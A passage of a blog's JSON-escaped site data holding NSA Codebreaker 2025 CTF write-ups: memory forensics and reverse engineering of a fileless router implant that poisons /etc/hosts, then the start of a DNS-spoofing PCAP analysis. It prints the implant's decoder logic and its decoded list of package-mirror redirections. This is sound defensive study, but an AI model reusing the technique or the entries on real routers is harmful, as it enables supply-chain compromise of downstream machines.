localhost\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e192.168.54.131 corp.internal\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e...\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"downloads\"\u003eDownloads\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eMemory Dump\u003c/strong\u003e (\u003ccode\u003ememory.dump.gz\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMetadata\u003c/strong\u003e (\u003ccode\u003eSystem.map.br\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eKernel Image\u003c/strong\u003e (\u003ccode\u003evmlinux.xz\u003c/code\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"task\"\u003eTask\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSubmit a complete list of affected IPs and FQDNs, one per line.\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"writeup\"\u003eWriteup\u003c/h2\u003e\n\u003cp\u003eA reverse engineering task where we\u0026rsquo;re given a memory dump, the kernel symbol map, and the kernel image. The first step is to discover the malicious binary and the second step is to reverse engineer it. To start with, I set up my memory forensics tooling and the kernel images.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Codebreaker generated a unique memory dump for each participant, and I didn\u0026rsquo;t keep my original copy. The IPs and domains below come from a publicly shared copy of the Task 3 files, so the specific values differ from my submission, but the method is identical.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3 id=\"setting-up-symbols\"\u003eSetting Up Symbols\u003c/h3\u003e\n\u003cp\u003eThe dump is an ELF core file, and the kernel banner identifies the device as an OpenWrt router:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e~/Downloads ❯ gunzip memory.dump.gz \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e brotli -d System.map.br \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e xz -d vmlinux.xz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e~/Downloads ❯ strings memory.dump | grep -m1 \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Linux version\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLinux version 5.15.134 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003edsu@Ubuntu\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ex86_64-openwrt-linux-musl-gcc \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eOpenWrt GCC 12.3.0 r23497-6637af95aa\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e 12.3.0, GNU ld \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eGNU Binutils\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e 2.40.0\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e#0 SMP Mon Oct 9 21:45:35 2023\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eLinux memory analysis needs a symbol table that matches the exact kernel, which is what the provided \u003ccode\u003evmlinux\u003c/code\u003e and \u003ccode\u003eSystem.map\u003c/code\u003e are for. I built one with \u003ccode\u003edwarf2json\u003c/code\u003e and pointed \u003ccode\u003efvol\u003c/code\u003e at it:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e~/Downloads ❯ dwarf2json linux --elf vmlinux --system-map System.map | xz \u0026gt; symbols/linux/openwrt-5.15.134.json.xz\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"finding-the-malicious-process\"\u003eFinding the Malicious Process\u003c/h3\u003e\n\u003cp\u003eThe process tree is mostly what you\u0026rsquo;d expect on OpenWrt (\u003ccode\u003eprocd\u003c/code\u003e, \u003ccode\u003enetifd\u003c/code\u003e, \u003ccode\u003edropbear\u003c/code\u003e, \u003ccode\u003ednsmasq\u003c/code\u003e), except for one process with the name \u003ccode\u003e4\u003c/code\u003e:\u003c/p\u003e\n\u003cimg src=\"/images/codebreaker-2025/task3-psaux.png\" alt=\"fvol process list with the dns-patch process highlighted\"/\u003e\n\u003cp\u003eA binary called \u003ccode\u003edns-patch\u003c/code\u003e, launched from an interactive shell, that is restarting the router\u0026rsquo;s DNS server is a strong lead. Its memory map shows that it isn\u0026rsquo;t running from disk at all; both the executable and its argument are deleted in-memory files (\u003ccode\u003ememfd\u003c/code\u003e), a common fileless malware technique:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e~/Downloads ❯ fvol -s symbols -f memory.dump linux.proc.Maps --pid \u003cspan style=\"color:#ae81ff\"\u003e1552\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e0x55b5976d7000  0x55b5976d8000  r--  /memfd:x \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003edeleted\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e0x55b5976d8000  0x55b5976d9000  r-x  /memfd:x \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003edeleted\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e~/Downloads ❯ fvol -s symbols -f memory.dump linux.lsof.Lsof --pid \u003cspan style=\"color:#ae81ff\"\u003e1552\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e1552\u003c/span\u003e    \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e    \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e    /memfd:c \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003edeleted\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSo \u003ccode\u003ememfd:x\u003c/code\u003e is the program and \u003ccode\u003ememfd:c\u003c/code\u003e (file descriptor 5, passed as its argument) is its input. I dumped the ELF out of memory:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e~/Downloads ❯ fvol -s symbols -f memory.dump -o out linux.elfs.Elfs --pid \u003cspan style=\"color:#ae81ff\"\u003e1552\u003c/span\u003e --dump\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e1552\u003c/span\u003e    \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e    0x55b5976d7000    0x55b5976d8000    /memfd:x \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003edeleted\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e    pid.1552.4.0x55b5976d7000.dmp\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"reverse-engineering-dns-patch\"\u003eReverse Engineering \u003ccode\u003edns-patch\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eThe strings already outline the whole program:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eUsage: %s \u0026lt;encoded file\u0026gt;\nDecoded payload too short to even have the key...\nopening /etc/hosts\n%s %s\nwarning: weird token count (%zu); ignoring last... check this fff\nservice dnsmasq restart\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eSince the binary was carved from memory it has no section headers, so I resolved its imports from the dynamic relocations and disassembled it with Capstone. \u003ccode\u003emain\u003c/code\u003e does the following:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eReads the file given as \u003ccode\u003eargv[1]\u003c/code\u003e into memory.\u003c/li\u003e\n\u003cli\u003eBase64-decodes it (the lookup table at \u003ccode\u003e0x4040\u003c/code\u003e is the standard alphabet, and invalid characters are skipped).\u003c/li\u003e\n\u003cli\u003eTakes the first 4 bytes of the decoded data as a little-endian 32-bit key.\u003c/li\u003e\n\u003cli\u003eDecrypts the rest in place with the function at \u003ccode\u003e0x18fb\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eSplits the plaintext on whitespace and appends each pair of tokens to \u003ccode\u003e/etc/hosts\u003c/code\u003e as \u003ccode\u003e\u0026quot;%s %s\u0026quot;\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eRuns \u003ccode\u003eservice dnsmasq restart\u003c/code\u003e so the router starts serving the new entries.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThe decryption routine at \u003ccode\u003e0x18fb\u003c/code\u003e is a small stream cipher. The highlighted instructions are the interesting ones: the constant added to the state, the \u003ccode\u003e\u0026gt;\u0026gt; 13\u003c/code\u003e mix, the two XORs, and saving the ciphertext byte for the next round:\u003c/p\u003e\n\u003cimg src=\"/images/codebreaker-2025/task3-decrypt.png\" alt=\"Disassembly of the decrypt routine\"/\u003e\n\u003cp\u003eIn C, it comes out as:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003euint32_t\u003c/span\u003e state \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e key;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003euint8_t\u003c/span\u003e prev \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e key \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xff\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003esize_t\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e; i \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e len; i\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    state \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x722633ad\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003euint8_t\u003c/span\u003e ks \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (state \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e (state \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e13\u003c/span\u003e)) \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xff\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003euint8_t\u003c/span\u003e c \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e buf[i];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    buf[i] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e c \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e ks \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e prev;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    prev \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e c;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"decrypting-the-payload\"\u003eDecrypting the Payload\u003c/h3\u003e\n\u003cp\u003eThe encoded payload is still in memory: one copy sits inside the malware\u0026rsquo;s loaded image, and an identical copy appears elsewhere in physical memory. I re-implemented the decoder in Python:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e base64\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003edecrypt\u003c/span\u003e(blob):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    key \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e int\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003efrom_bytes(blob[:\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e], \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;little\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    state, prev, out \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e key, key \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xFF\u003c/span\u003e, bytearray()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e c \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e blob[\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e:]:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        state \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (state \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x722633AD\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xFFFFFFFF\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        out\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eappend(c \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e ((state \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e (state \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e13\u003c/span\u003e)) \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xFF\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e prev)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        prev \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e c\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e bytes(out)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eplain \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e decrypt(base64\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eb64decode(open(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;payload.b64\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;rb\u0026#34;\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eread()))\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003edecode(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;latin-1\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etok \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e plain\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003esplit()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e range(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, len(tok) \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(tok[i], tok[i \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e])\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cimg src=\"/images/codebreaker-2025/task3-decoded.png\" alt=\"Decoded hosts entries\"/\u003e\n\u003cp\u003eThe key was \u003ccode\u003e0x006f0dbb\u003c/code\u003e, and the plaintext held 74 tokens, an even count, so the \u0026ldquo;weird token count\u0026rdquo; warning never fired. The result is 37 hosts entries pointing software update and package mirrors (PyPI, kernel.org, Debian, Ubuntu, Fedora, Arch, Alpine, NixOS and more) at three attacker-controlled addresses. Any machine behind this router that installs or updates software would be silently redirected, which makes this a supply chain attack staged from the network edge.\u003c/p\u003e\n\u003ch3 id=\"submission\"\u003eSubmission\u003c/h3\u003e\n\u003cp\u003eThe entries in the order the malware writes them:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e203.0.113.11 files.pythonhosted.org\n203.0.113.161 mirrors.kernel.org\n203.0.113.9 repo.almalinux.org\n203.0.113.161 mirror.rackspace.com\n203.0.113.9 ports.ubuntu.org\n203.0.113.9 packages.linuxmint.com\n203.0.113.161 mirrors.opensuse.org\n203.0.113.9 repos.opensuse.org\n203.0.113.161 geo.mirror.pkgbuild.com\n203.0.113.9 security.debian.org\n203.0.113.9 security.ubuntu.org\n203.0.113.9 download1.rpmfusion.org\n203.0.113.161 mirrors.rpmfusion.org\n203.0.113.161 mirrors.rockylinux.org\n203.0.113.9 archive.ubuntu.org\n203.0.113.11 pypi.io\n203.0.113.9 us.archive.ubuntu.com\n203.0.113.9 security.ubuntu.com\n203.0.113.9 distfiles.gentoo.org\n203.0.113.9 dl.rockylinux.org\n203.0.113.9 dl-cdn.alpinelinux.org\n203.0.113.161 mirrors.alpinelinux.org\n203.0.113.161 xmirror.voidlinux.org\n203.0.113.9 cache.nixos.org\n203.0.113.9 http.kali.org\n203.0.113.9 download.opensuse.org\n203.0.113.11 pypi.org\n203.0.113.161 mirrors.fedoraproject.org\n203.0.113.161 mirror.stream.centos.org\n203.0.113.11 pypi.python.org\n203.0.113.9 archive.ubuntu.com\n203.0.113.9 repo-default.voidlinux.org\n203.0.113.9 ftp.us.debian.org\n203.0.113.9 deb.debian.org\n203.0.113.9 ports.ubuntu.com\n203.0.113.9 dl.fedoraproject.org\n203.0.113.9 archive.archlinux.org\n\u003c/code\u003e\u003c/pre\u003e\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/badge3.png\" alt=\"Badge\" width=\"300\"/\u003e\n\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSuccess!\u003c/strong\u003e Three down, four to go.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025-task-2/\"\u003e← Task 2\u003c/a\u003e · \u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003eSeries overview\u003c/a\u003e · \u003ca href=\"/posts/nsa-codebreaker-2025-task-4/\"\u003eTask 4 →\u003c/a\u003e\u003c/p\u003e\n","date":"2025-10-05","dateFormatted":"October 5, 2025","excerpt":"← Series overview Task 3 - Digging Deeper - (Reverse Engineering) The network administrators confirm that the IP address you provided in your description is an edge router. DAFIN-SOC is asking you to …","featured":false,"mood":null,"permalink":"/posts/nsa-codebreaker-2025-task-3/","readingTime":5,"slug":"nsa-codebreaker-2025-task-3","subtitle":"Moving from network evidence to a router memory image","summary":"\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003e← Series overview\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"task-3---digging-deeper---reverse-engineering\"\u003eTask 3 - Digging Deeper - (Reverse Engineering)\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe network administrators confirm that the IP address you provided in your description is an edge router. DAFIN-SOC is asking you to dive deeper and reverse engineer this device. Fortunately, their team managed to pull a memory dump of the device.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eScour the device\u0026rsquo;s memory dump and identify anomalous or malicious activity to find out what\u0026rsquo;s going on.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eYour submission will be a list of IPs and domains, one per line. For example:\u003c/p\u003e","tags":["NSA Codebreaker 2025","ctf","reverse engineering"],"title":"NSA Codebreaker 2025 - Task 3: Digging Deeper","url":"/posts/nsa-codebreaker-2025-task-3/","wordCount":978},{"content":"\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003e← Series overview\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"task-2---the-hunt-continues---network-forensics\"\u003eTask 2 - The Hunt Continues - (Network Forensics)\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eWith your help, the team concludes that there was clearly a sophisticated piece of malware installed on that endpoint that was generating some network traffic. Fortunately, DAFIN-SOC also has an IDS which retained the recent network traffic in this segment.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eDAFIN-SOC has provided a PCAP to analyze. Thoroughly evaluate the PCAP to identify potential malicious activity.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"downloads\"\u003eDownloads\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePCAP to analyze:\u003c/strong\u003e \u003ccode\u003etraffic.pcap\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"task\"\u003eTask\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSubmit all the IP addresses that are assigned to the malicious device, one per line.\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"writeup\"\u003eWriteup\u003c/h2\u003e\n\u003cp\u003eUpon opening the PCAP in Wireshark, I was greeted by approximately 2,400 packets consisting primarily of IPv4 and ARP traffic.\u003c/p\u003e\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/statistics.png\" alt=\"Statistics\"/\u003e\n\u003c/p\u003e\n\u003cp\u003eInitial reconnaissance revealed FTP traffic containing three router configuration backup files: \u003ccode\u003erouter1_backup.config\u003c/code\u003e, \u003ccode\u003erouter2_backup.config\u003c/code\u003e, and \u003ccode\u003erouter3_backup.config\u003c/code\u003e. Since FTP transmits data in cleartext, these configurations would be accessible if I could locate the correct TCP streams.\u003c/p\u003e\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/ftpdata.png\" alt=\"FTPdata\"/\u003e\n\u003c/p\u003e\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/tcpstream.png\" alt=\"TCPStream\"/\u003e\n\u003c/p\u003e\n\u003cp\u003eTo better understand the network topology, I used \u003ca href=\"https://github.com/Srinivas11789/PcapXray\"\u003ePcapXray\u003c/a\u003e to generate a network diagram showing the most active devices.\u003c/p\u003e\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/network.png\" alt=\"Network\"/\u003e\n\u003c/p\u003e\n\u003cp\u003eWith three routers in play, I needed a methodical approach to identify which one was compromised. Rather than guessing based on traffic patterns alone, I decided to examine the DNS traffic for anomalies.\u003c/p\u003e\n\u003ch3 id=\"dns-traffic-analysis\"\u003eDNS Traffic Analysis\u003c/h3\u003e\n\u003cp\u003eI filtered for DNS traffic using the display filter \u003ccode\u003edns\u003c/code\u003e, which revealed 36 DNS packets. Narrowing this down to responses only (\u003ccode\u003edns.flags.response == 1\u003c/code\u003e) showed 19 response packets.\u003c/p\u003e\n\u003cp\u003eMost DNS responses originated from \u003ccode\u003e192.168.46.2\u003c/code\u003e (the legitimate DNS server), but I noticed something unusual: multiple responses with the same Transaction ID.\u003c/p\u003e\n\u003cp\u003eFiltering for Transaction ID \u003ccode\u003e0xc0c1\u003c/code\u003e revealed three DNS responses to the same query for \u003ccode\u003earchive.ubuntu.com\u003c/code\u003e:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFrame 538\u003c/strong\u003e from \u003ccode\u003e192.168.2.254\u003c/code\u003e → Returned legitimate Ubuntu mirror IPs (91.189.91.83, etc.)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFrame 1703\u003c/strong\u003e from \u003ccode\u003e192.168.1.254\u003c/code\u003e → Returned legitimate Ubuntu mirror IPs (91.189.91.83, etc.)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFrame 2028\u003c/strong\u003e from \u003ccode\u003e192.168.3.254\u003c/code\u003e → Returned 203.0.113.108\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/poisoned_router.png\" alt=\"Poisoned Router\"/\u003e\n\u003c/p\u003e\n\u003cp\u003eThe IP address \u003ccode\u003e203.0.113.108\u003c/code\u003e immediately raised a red flag. The \u003ccode\u003e203.0.113.0/24\u003c/code\u003e subnet is part of TEST-NET-3, a reserved documentation range defined in RFC 5737 that should never appear in production traffic. This was clearly a poisoned DNS response.\u003c/p\u003e\n\u003cp\u003eRouter 3 (192.168.3.254) had intercepted the DNS query and responded with a malicious IP address, attempting to redirect the client to an attacker-controlled server. This is a classic DNS spoofing attack where a man-in-the-middle device races to answer DNS queries before the legitimate server.\u003c/p\u003e\n\u003ch3 id=\"extracting-router-3-configuration\"\u003eExtracting Router 3 Configuration\u003c/h3\u003e\n\u003cp\u003eHaving identified \u003ccode\u003e192.168.3.254\u003c/code\u003e as the 